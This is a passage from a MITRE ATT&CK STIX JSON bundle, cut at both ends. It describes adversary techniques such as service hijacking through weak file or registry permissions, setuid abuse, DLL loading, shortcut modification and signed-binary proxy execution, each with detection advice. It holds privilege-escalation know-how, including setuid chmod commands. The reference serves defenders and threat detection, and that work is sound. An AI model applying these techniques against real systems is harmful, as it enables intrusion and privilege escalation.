                "Office 365",
                "SaaS",
                "IaaS",
                "Linux",
                "macOS",
                "Google Workspace"
            ]
        },
        {
            "id": "attack-pattern--39a130e1-6ab7-434a-8bd2-418e7d9d6427",
            "name": "Service Registry Permissions Weakness",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1058",
                    "url": "https://attack.mitre.org/techniques/T1058"
                },
                {
                    "external_id": "CAPEC-478",
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/478.html"
                },
                {
                    "url": "https://msdn.microsoft.com/library/windows/desktop/ms724878.aspx",
                    "description": "Microsoft. (n.d.). Registry Key Security and Access Rights. Retrieved March 16, 2017.",
                    "source_name": "MSDN Registry Key Security"
                },
                {
                    "source_name": "TrustedSignal Service Failure",
                    "url": "https://trustedsignal.blogspot.com/2014/05/kansa-service-related-collectors-and.html",
                    "description": "Hull, D. (2014, May 3). Kansa: Service related collectors and analysis. Retrieved October 10, 2019."
                },
                {
                    "url": "https://twitter.com/r0wdy_/status/936365549553991680",
                    "description": "The Cyber (@r0wdy_). (2017, November 30). Service Recovery Parameters. Retrieved April 9, 2018.",
                    "source_name": "Twitter Service Recovery Nov 2017"
                },
                {
                    "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902",
                    "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.",
                    "source_name": "TechNet Autoruns"
                }
            ],
            "revoked": true,
            "type": "attack-pattern",
            "modified": "2020-03-19T15:12:13.034Z",
            "created": "2017-05-31T21:30:49.119Z"
        },
        {
            "created": "2019-03-29T19:00:55.901Z",
            "modified": "2021-03-02T22:11:32.017Z",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "impact"
                }
            ],
            "type": "attack-pattern",
            "id": "attack-pattern--20fb2507-d71c-455d-9b6d-6104461cf26b",
            "description": "Adversaries may stop or disable services on a system to render those services unavailable to legitimate users. Stopping critical services or processes can inhibit or stop response to an incident or aid in the adversary's overall objectives to cause damage to the environment.(Citation: Talos Olympic Destroyer 2018)(Citation: Novetta Blockbuster) \n\nAdversaries may accomplish this by disabling individual services of high importance to an organization, such as <code>MSExchangeIS</code>, which will make Exchange content inaccessible (Citation: Novetta Blockbuster). In some cases, adversaries may stop or disable many or all services to render systems unusable.(Citation: Talos Olympic Destroyer 2018) Services or processes may not allow for modification of their data stores while running. Adversaries may stop services or processes in order to conduct [Data Destruction](https://attack.mitre.org/techniques/T1485) or [Data Encrypted for Impact](https://attack.mitre.org/techniques/T1486) on the data stores of services like Exchange and SQL Server.(Citation: SecureWorks WannaCry Analysis)",
            "name": "Service Stop",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "external_id": "T1489",
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1489"
                },
                {
                    "source_name": "Talos Olympic Destroyer 2018",
                    "url": "https://blog.talosintelligence.com/2018/02/olympic-destroyer.html",
                    "description": "Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer Takes Aim At Winter Olympics. Retrieved March 14, 2019."
                },
                {
                    "source_name": "Novetta Blockbuster",
                    "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.",
                    "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf"
                },
                {
                    "source_name": "SecureWorks WannaCry Analysis",
                    "url": "https://www.secureworks.com/research/wcry-ransomware-analysis",
                    "description": "Counter Threat Unit Research Team. (2017, May 18). WCry Ransomware Analysis. Retrieved March 26, 2019."
                }
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_platforms": [
                "Windows",
                "Linux",
                "macOS"
            ],
            "x_mitre_permissions_required": [
                "Administrator",
                "SYSTEM",
                "User"
            ],
            "x_mitre_version": "1.2",
            "x_mitre_detection": "Monitor processes and command-line arguments to see if critical processes are terminated or stop running.\n\nMonitor for edits for modifications to services and startup programs that correspond to services of high importance. Look for changes to services that do not correlate with known software, patch cycles, etc. Windows service information is stored in the Registry at <code>HKLM\\SYSTEM\\CurrentControlSet\\Services</code>. Systemd service unit files are stored within the /etc/systemd/system, /usr/lib/systemd/system/, and /home/.config/systemd/user/ directories, as well as associated symbolic links.\n\nAlterations to the service binary path or the service startup type changed to disabled may be suspicious.\n\nRemote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. For example, <code>ChangeServiceConfigW</code> may be used by an adversary to prevent services from starting.(Citation: Talos Olympic Destroyer 2018)",
            "x_mitre_data_sources": [
                "Process: Process Creation",
                "Command: Command Execution",
                "Process: OS API Execution",
                "Service: Service Metadata",
                "Windows Registry: Windows Registry Key Modification",
                "File: File Modification",
                "Process: Process Termination"
            ],
            "x_mitre_impact_type": [
                "Availability"
            ]
        },
        {
            "created": "2020-03-12T20:43:53.998Z",
            "modified": "2020-09-16T19:10:04.262Z",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "type": "attack-pattern",
            "id": "attack-pattern--9e8b28c9-35fe-48ac-a14d-e6cc032dcbcd",
            "description": "Adversaries may execute their own malicious payloads by hijacking the binaries used by services. Adversaries may use flaws in the permissions of Windows services to replace the binary that is executed upon service start. These service processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM.\n\nAdversaries may use this technique to replace legitimate binaries with malicious ones as a means of executing code at a higher permissions level. If the executing process is set to run at a specific time or during a certain event (e.g., system bootup) then this technique can also be used for persistence.",
            "name": "Services File Permissions Weakness",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1574.010",
                    "url": "https://attack.mitre.org/techniques/T1574/010"
                },
                {
                    "external_id": "CAPEC-17",
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/17.html"
                }
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_detection": "Look for changes to binaries and service executables that may normally occur during software updates. If an executable is written, renamed, and/or moved to match an existing service executable, it could be detected and correlated with other suspicious behavior. Hashing of binaries and service executables could be used to detect replacement against historical data.\n\nLook for abnormal process call trees from typical processes and services and for execution of other commands that could relate to Discovery or other adversary techniques. ",
            "x_mitre_permissions_required": [
                "Administrator",
                "User"
            ],
            "x_mitre_effective_permissions": [
                "SYSTEM",
                "Administrator",
                "User"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_version": "1.0",
            "x_mitre_data_sources": [
                "File: File Creation",
                "File: File Modification",
                "Process: Process Creation",
                "Service: Service Metadata"
            ],
            "x_mitre_contributors": [
                "Travis Smith, Tripwire",
                "Stefan Kanthak"
            ]
        },
        {
            "created": "2020-03-13T11:42:14.444Z",
            "modified": "2020-09-16T19:07:48.590Z",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "type": "attack-pattern",
            "id": "attack-pattern--17cc750b-e95b-4d7d-9dde-49e0de24148c",
            "description": "Adversaries may execute their own malicious payloads by hijacking the Registry entries used by services. Adversaries may use flaws in the permissions for registry to redirect from the originally specified executable to one that they control, in order to launch their own code at Service start.  Windows stores local service configuration information in the Registry under <code>HKLM\\SYSTEM\\CurrentControlSet\\Services</code>. The information stored under a service's Registry keys can be manipulated to modify a service's execution parameters through tools such as the service controller, sc.exe,  [PowerShell](https://attack.mitre.org/techniques/T1059/001), or [Reg](https://attack.mitre.org/software/S0075). Access to Registry keys is controlled through Access Control Lists and permissions. (Citation: Registry Key Security)\n\nIf the permissions for users and groups are not properly set and allow access to the Registry keys for a service, then adversaries can change the service binPath/ImagePath to point to a different executable under their control. When the service starts or is restarted, then the adversary-controlled program will execute, allowing the adversary to gain persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService).\n\nAdversaries may also alter Registry keys associated with service failure parameters (such as <code>FailureCommand</code>) that may be executed in an elevated context anytime the service fails or is intentionally corrupted.(Citation: Kansa Service related collectors)(Citation: Tweet Registry Perms Weakness) ",
            "name": "Services Registry Permissions Weakness",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1574.011",
                    "url": "https://attack.mitre.org/techniques/T1574/011"
                },
                {
                    "external_id": "CAPEC-478",
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/478.html"
                },
                {
                    "source_name": "Registry Key Security",
                    "url": "https://docs.microsoft.com/en-us/windows/win32/sysinfo/registry-key-security-and-access-rights?redirectedfrom=MSDN",
                    "description": "Microsoft. (2018, May 31). Registry Key Security and Access Rights. Retrieved March 16, 2017."
                },
                {
                    "source_name": "Kansa Service related collectors",
                    "url": "https://trustedsignal.blogspot.com/2014/05/kansa-service-related-collectors-and.html",
                    "description": "Hull, D.. (2014, May 3). Kansa: Service related collectors and analysis. Retrieved October 10, 2019."
                },
                {
                    "source_name": "Tweet Registry Perms Weakness",
                    "url": "https://twitter.com/r0wdy_/status/936365549553991680",
                    "description": "@r0wdy_. (2017, November 30). Service Recovery Parameters. Retrieved April 9, 2018."
                },
                {
                    "source_name": "Autoruns for Windows",
                    "url": "https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns",
                    "description": "Mark Russinovich. (2019, June 28). Autoruns for Windows v13.96. Retrieved March 13, 2020."
                }
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_contributors": [
                "Travis Smith, Tripwire",
                "Matthew Demaske, Adaptforward"
            ],
            "x_mitre_data_sources": [
                "Windows Registry: Windows Registry Key Modification",
                "Process: Process Creation",
                "Service: Service Metadata",
                "Command: Command Execution"
            ],
            "x_mitre_detection": "Service changes are reflected in the Registry. Modification to existing services should not occur frequently. If a service binary path or failure parameters are changed to values that are not typical for that service and does not correlate with software updates, then it may be due to malicious activity. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\n\nTools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current service information. (Citation: Autoruns for Windows) Look for changes to services that do not correlate with known software, patch cycles, etc. Suspicious program execution through services may show up as outlier processes that have not been seen before when compared against historical data.\n\nMonitor processes and command-line arguments for actions that could be done to modify services. Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Services may also be changed through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001), so additional logging may need to be configured to gather the appropriate data.",
            "x_mitre_permissions_required": [
                "Administrator",
                "User"
            ],
            "x_mitre_effective_permissions": [
                "SYSTEM"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_version": "1.0",
            "x_mitre_defense_bypassed": [
                "Application control"
            ]
        },
        {
            "id": "attack-pattern--c0df6533-30ee-4a4a-9c6d-17af5abdf0b2",
            "name": "Setuid and Setgid",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1166",
                    "url": "https://attack.mitre.org/techniques/T1166"
                },
                {
                    "url": "http://man7.org/linux/man-pages/man2/setuid.2.html",
                    "description": "Michael Kerrisk. (2017, September 15). Linux Programmer's Manual. Retrieved September 21, 2018.",
                    "source_name": "setuid man page"
                },
                {
                    "url": "https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/",
                    "description": "Marc-Etienne M.Leveille. (2016, July 6). New OSX/Keydnap malware is hungry for credentials. Retrieved July 3, 2017.",
                    "source_name": "OSX Keydnap malware"
                }
            ],
            "revoked": true,
            "type": "attack-pattern",
            "modified": "2020-02-05T20:09:22.650Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1548.001",
                    "url": "https://attack.mitre.org/techniques/T1548/001"
                },
                {
                    "url": "http://man7.org/linux/man-pages/man2/setuid.2.html",
                    "description": "Michael Kerrisk. (2017, September 15). Linux Programmer's Manual. Retrieved September 21, 2018.",
                    "source_name": "setuid man page"
                },
                {
                    "url": "https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/",
                    "description": "Marc-Etienne M.Leveille. (2016, July 6). New OSX/Keydnap malware is hungry for credentials. Retrieved July 3, 2017.",
                    "source_name": "OSX Keydnap malware"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Setuid and Setgid",
            "description": "An adversary may perform shell escapes or exploit vulnerabilities in an application with the setsuid or setgid bits to get code running in a different user\u2019s context. On Linux or macOS, when the setuid or setgid bits are set for an application, the application will run with the privileges of the owning user or group respectively. (Citation: setuid man page). Normally an application is run in the current user\u2019s context, regardless of which user or group owns the application. However, there are instances where programs need to be executed in an elevated context to function properly, but the user running them doesn\u2019t need the elevated privileges.\n\nInstead of creating an entry in the sudoers file, which must be done by root, any user can specify the setuid or setgid flag to be set for their own applications. These bits are indicated with an \"s\" instead of an \"x\" when viewing a file's attributes via <code>ls -l</code>. The <code>chmod</code> program can set these bits with via bitmasking, <code>chmod 4777 [file]</code> or via shorthand naming, <code>chmod u+s [file]</code>.\n\nAdversaries can use this mechanism on their own malware to make sure they're able to execute in elevated contexts in the future.(Citation: OSX Keydnap malware).",
            "id": "attack-pattern--6831414d-bb70-42b7-8030-d4e06b2660c9",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "modified": "2020-03-27T00:43:58.149Z",
            "created": "2020-01-30T14:11:41.212Z",
            "x_mitre_version": "1.0",
            "x_mitre_is_subtechnique": true,
            "x_mitre_permissions_required": [
                "User"
            ],
            "x_mitre_detection": "Monitor the file system for files that have the setuid or setgid bits set. Monitor for execution of utilities, like chmod, and their command-line arguments to look for setuid or setguid bits being set.",
            "x_mitre_data_sources": [
                "Command: Command Execution",
                "File: File Metadata",
                "File: File Modification"
            ],
            "x_mitre_platforms": [
                "Linux",
                "macOS"
            ]
        },
        {
            "id": "attack-pattern--0a5231ec-41af-4a35-83d0-6bdf11f28c65",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Shared Modules",
            "description": "Adversaries may abuse shared modules to execute malicious payloads. The Windows module loader can be instructed to load DLLs from arbitrary local paths and arbitrary Universal Naming Convention (UNC) network paths. This functionality resides in NTDLL.dll and is part of the Windows [Native API](https://attack.mitre.org/techniques/T1106) which is called from functions like <code>CreateProcess</code>, <code>LoadLibrary</code>, etc. of the Win32 API. (Citation: Wikipedia Windows Library Files)\n\nThe module loader can load DLLs:\n\n* via specification of the (fully-qualified or relative) DLL pathname in the IMPORT directory;\n    \n* via EXPORT forwarded to another DLL, specified with (fully-qualified or relative) pathname (but without extension);\n    \n* via an NTFS junction or symlink program.exe.local with the fully-qualified or relative pathname of a directory containing the DLLs specified in the IMPORT directory or forwarded EXPORTs;\n    \n* via <code>&#x3c;file name=\"filename.extension\" loadFrom=\"fully-qualified or relative pathname\"&#x3e;</code> in an embedded or external \"application manifest\". The file name refers to an entry in the IMPORT directory or a forwarded EXPORT.\n\nAdversaries may use this functionality as a way to execute arbitrary code on a victim system. For example, malware may execute share modules to load additional components or features.",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1129",
                    "url": "https://attack.mitre.org/techniques/T1129"
                },
                {
                    "url": "https://en.wikipedia.org/wiki/Microsoft_Windows_library_files",
                    "description": "Wikipedia. (2017, January 31). Microsoft Windows library files. Retrieved February 13, 2017.",
                    "source_name": "Wikipedia Windows Library Files"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "execution"
                }
            ],
            "modified": "2020-03-28T18:14:36.980Z",
            "created": "2017-05-31T21:31:40.542Z",
            "x_mitre_is_subtechnique": false,
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_permissions_required": [
                "User"
            ],
            "x_mitre_detection": "Monitoring DLL module loads may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances, since benign use of Windows modules load functions are common and may be difficult to distinguish from malicious behavior. Legitimate software will likely only need to load routine, bundled DLL modules or Windows system DLLs such that deviation from known module loads may be suspicious. Limiting DLL module loads to <code>%SystemRoot%</code> and <code>%ProgramFiles%</code> directories will protect against module loads from unsafe paths. \n\nCorrelation of other events with behavior surrounding module loads using API monitoring and suspicious DLLs written to disk will provide additional context to an event that may assist in determining if it is due to malicious behavior.",
            "x_mitre_data_sources": [
                "Process: OS API Execution",
                "Module: Module Load"
            ],
            "x_mitre_contributors": [
                "Stefan Kanthak"
            ],
            "x_mitre_version": "2.0"
        },
        {
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1051",
                    "url": "https://attack.mitre.org/techniques/T1051"
                },
                {
                    "external_id": "CAPEC-563",
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/563.html"
                },
                {
                    "description": "Microsoft. (2016, October 20). How to: Find the Web Application Root. Retrieved July 27, 2018.",
                    "source_name": "Microsoft Web Root OCT 2016"
                },
                {
                    "url": "http://httpd.apache.org/docs/2.4/getting-started.html#content",
                    "description": "Apache. (n.d.). Apache HTTP Server Version 2.4 Documentation - Web Site Content. Retrieved July 27, 2018.",
                    "source_name": "Apache Server 2018"
                },
                {
                    "url": "https://www.webroot.com/blog/2011/02/22/malicious-php-scripts-on-the-rise/",
                    "description": "Brandt, Andrew. (2011, February 22). Malicious PHP Scripts on the Rise. Retrieved October 3, 2018.",
                    "source_name": "Webroot PHP 2011"
                }
            ],
            "description": "**This technique has been deprecated and should no longer be used.**\n\nAdversaries may add malicious content to an internally accessible website through an open network file share that contains the website's webroot or Web content directory (Citation: Microsoft Web Root OCT 2016) (Citation: Apache Server 2018) and then browse to that content with a Web browser to cause the server to execute the malicious content. The malicious content will typically run under the context and permissions of the Web server process, often resulting in local system or administrative privileges, depending on how the Web server is configured.\n\nThis mechanism of shared access and remote execution could be used for lateral movement to the system running the Web server. For example, a Web server running PHP with an open network share could allow an adversary to upload a remote access tool and PHP script to execute the RAT on the system running the Web server when a specific page is visited. (Citation: Webroot PHP 2011)",
            "name": "Shared Webroot",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "id": "attack-pattern--804c042c-cfe6-449e-bc1a-ba0a998a70db",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "lateral-movement"
                }
            ],
            "modified": "2020-03-30T13:56:55.356Z",
            "created": "2017-05-31T21:30:46.047Z",
            "x_mitre_deprecated": true,
            "x_mitre_is_subtechnique": false,
            "x_mitre_version": "1.0",
            "x_mitre_detection": "Use file and process monitoring to detect when files are written to a Web server by a process that is not the normal Web server process or when files are written outside of normal administrative time periods. Use process monitoring to identify normal processes that run on the Web server and detect processes that are not typically executed.",
            "x_mitre_system_requirements": [
                "Shared webroot directory on remote system"
            ],
            "x_mitre_platforms": [
                "Windows"
            ]
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1213.002",
                    "url": "https://attack.mitre.org/techniques/T1213/002"
                },
                {
                    "url": "https://support.office.com/en-us/article/configure-audit-settings-for-a-site-collection-a9920c97-38c0-44f2-8bcb-4cf1e2ae22d2",
                    "description": "Microsoft. (2017, July 19). Configure audit settings for a site collection. Retrieved April 4, 2018.",
                    "source_name": "Microsoft SharePoint Logging"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Sharepoint",
            "description": "Adversaries may leverage the SharePoint repository as a source to mine valuable information. SharePoint will often contain useful information for an adversary to learn about the structure and functionality of the internal network and systems. For example, the following is a list of example information that may hold potential value to an adversary and may also be found on SharePoint:\n\n* Policies, procedures, and standards\n* Physical / logical network diagrams\n* System architecture diagrams\n* Technical system documentation\n* Testing / development credentials\n* Work / project schedules\n* Source code snippets\n* Links to network shares and other internal resources\n",
            "id": "attack-pattern--0c4b4fda-9062-47da-98b9-ceae2dcf052a",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "collection"
                }
            ],
            "modified": "2020-03-24T16:41:00.821Z",
            "created": "2020-02-14T13:35:32.938Z",
            "x_mitre_detection": "The user access logging within Microsoft's SharePoint can be configured to report access to certain pages and documents. (Citation: Microsoft SharePoint Logging). As information repositories generally have a considerably large user base, detection of malicious use can be non-trivial. At minimum, access to information repositories performed by privileged users (for example, Active Directory Domain, Enterprise, or Schema Administrators) should be closely monitored and alerted upon, as these types of accounts should not generally used to access information repositories. If the capability exists, it may be of value to monitor and alert on users that are retrieving and viewing a large number of documents and pages; this behavior may be indicative of programmatic means being used to retrieve all data within the repository. In environments with high-maturity, it may be possible to leverage User-Behavioral Analytics (UBA) platforms to detect and alert on user based anomalies. \n\n",
            "x_mitre_data_sources": [
                "Logon Session: Logon Session Creation",
                "Application Log: Application Log Content"
            ],
            "x_mitre_version": "1.0",
            "x_mitre_is_subtechnique": true,
            "x_mitre_permissions_required": [
                "User"
            ],
            "x_mitre_platforms": [
                "Windows",
                "Office 365"
            ]
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1023",
                    "external_id": "T1023"
                },
                {
                    "external_id": "CAPEC-132",
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/132.html"
                }
            ],
            "name": "Shortcut Modification",
            "id": "attack-pattern--970cdb5c-02fb-4c38-b17e-d6327cf3c810",
            "revoked": true,
            "type": "attack-pattern",
            "modified": "2020-01-24T19:36:41.805Z",
            "created": "2017-05-31T21:30:30.757Z"
        },
        {
            "id": "attack-pattern--4ab929c6-ee2d-4fb5-aab4-b14be2ed7179",
            "description": "Adversaries may create or edit shortcuts to run a program during system boot or user login. Shortcuts or symbolic links are ways of referencing other files or programs that will be opened or executed when the shortcut is clicked or executed by a system startup process.\n\nAdversaries could use shortcuts to execute their tools for persistence. They may create a new shortcut as a means of indirection that may use [Masquerading](https://attack.mitre.org/techniques/T1036) to look like a legitimate program. Adversaries could also edit the target path or entirely replace an existing shortcut so their tools will be executed instead of the intended legitimate program.",
            "name": "Shortcut Modification",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1547.009",
                    "url": "https://attack.mitre.org/techniques/T1547/009"
                },
                {
                    "external_id": "CAPEC-132",
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/132.html"
                },
                {
                    "source_name": "BSidesSLC 2020 - LNK Elastic",
                    "url": "https://www.youtube.com/watch?v=nJ0UsyiUEqQ",
                    "description": "French, D., Filar, B.. (2020, March 21). A Chain Is No Stronger Than Its Weakest LNK. Retrieved November 30, 2020."
                }
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                }
            ],
            "modified": "2021-04-13T21:30:24.555Z",
            "created": "2020-01-24T19:00:32.917Z",
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_contributors": [
                "David French, Elastic",
                "Bobby, Filar, Elastic",
                "Travis Smith, Tripwire"
            ],
            "x_mitre_data_sources": [
                "File: File Creation",
                "File: File Modification",
                "Process: Process Creation"
            ],
            "x_mitre_detection": "Since a shortcut's target path likely will not change, modifications to shortcut files that do not correlate with known software changes, patches, removal, etc., may be suspicious. Analysis should attempt to relate shortcut file change or creation events to other potentially suspicious events based on known adversary behavior such as process launches of unknown executables that make network connections.\n\nMonitor for LNK files created with a Zone Identifier value greater than 1, which may indicate that the LNK file originated from outside of the network.(Citation: BSidesSLC 2020 - LNK Elastic)",
            "x_mitre_permissions_required": [
                "Administrator",
                "User"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_version": "1.1"
        },
        {
            "id": "attack-pattern--457c7820-d331-465a-915e-42f85500ccc4",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Signed Binary Proxy Execution",
            "description": "Adversaries may bypass process and/or signature-based defenses by proxying execution of malicious content with signed binaries. Binaries signed with trusted digital certificates can execute on Windows systems protected by digital signature validation. Several Microsoft signed binaries that are default on Windows installations can be used to proxy execution of other files.",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1218",
                    "url": "https://attack.mitre.org/techniques/T1218"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "modified": "2021-01-20T18:12:12.134Z",
            "created": "2018-04-18T17:59:24.739Z",
            "x_mitre_is_subtechnique": false,
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_permissions_required": [
                "User",
                "Administrator"
            ],
            "x_mitre_detection": "Monitor processes and command-line parameters for signed binaries that may be used to proxy execution of malicious files. Compare recent invocations of signed binaries that may be used to proxy execution with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial activity. Legitimate programs used in suspicious ways, like msiexec.exe downloading an MSI file from the Internet, may be indicative of an intrusion. Correlate activity with other suspicious behavior to reduce false positives that may be due to normal benign use by users and administrators.\n\nMonitor for file activity (creations, downloads, modifications, etc.), especially for file types that are not typical within an environment and may be indicative of adversary activity.",
            "x_mitre_defense_bypassed": [
                "Anti-virus",
                "Application control",
                "Digital Certificate Validation"
            ],
            "x_mitre_contributors": [
                "Nishan Maharjan, @loki248",
                "Hans Christoffer Gaardl\u00f8s",
                "Praetorian"
            ],
            "x_mitre_data_sources": [
                "Process: Process Creation",
                "File: File Creation",
                "Module: Module Load",
                "Process: OS API Execution",
                "Command: Command Execution",
                "Windows Registry: Windows Registry Key Modification",
                "Network Traffic: Network Connection Creation"
            ],
            "x_mitre_version": "2.1"
        },
        {
            "id": "attack-pattern--f6fe9070-7a65-49ea-ae72-76292f42cebe",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Signed Script Proxy Execution",
            "description": "Adversaries may use scripts signed with trusted certificates to proxy execution of malicious files. Several Microsoft signed scripts that are default on Windows installations can be used to proxy execution of other files. This behavior may be abused by adversaries to execute malicious files that could bypass application control and signature validation on systems.(Citation: GitHub Ultimate AppLocker Bypass List)",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1216",
                    "url": "https://attack.mitre.org/techniques/T1216"
                },
                {
                    "url": "https://github.com/api0cradle/UltimateAppLockerByPassList",
                    "description": "Moe, O. (2018, March 1). Ultimate AppLocker Bypass List. Retrieved April 10, 2018.",
                    "source_name": "GitHub Ultimate AppLocker Bypass List"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "modified": "2020-06-20T22:39:47.559Z",
            "created": "2018-04-18T17:59:24.739Z",
            "x_mitre_is_subtechnique": false,
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_permissions_required": [
                "User"
            ],
            "x_mitre_detection": "Monitor script processes, such as `cscript`, and command-line parameters for scripts like PubPrn.vbs that may be used to proxy execution of malicious files.",
            "x_mitre_defense_bypassed": [
                "Application control",
                "Digital Certificate Validation"
            ],
            "x_mitre_contributors": [
                "Praetorian"
            ],
            "x_mitre_data_sources": [
                "Process: Process Creation",
                "Command: Command Execution",
                "Script: Script Execution"
            ],
            "x_mitre_version": "1.1"
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1558.002",
                    "url": "https://attack.mitre.org/techniques/T1558/002"
                },
                {
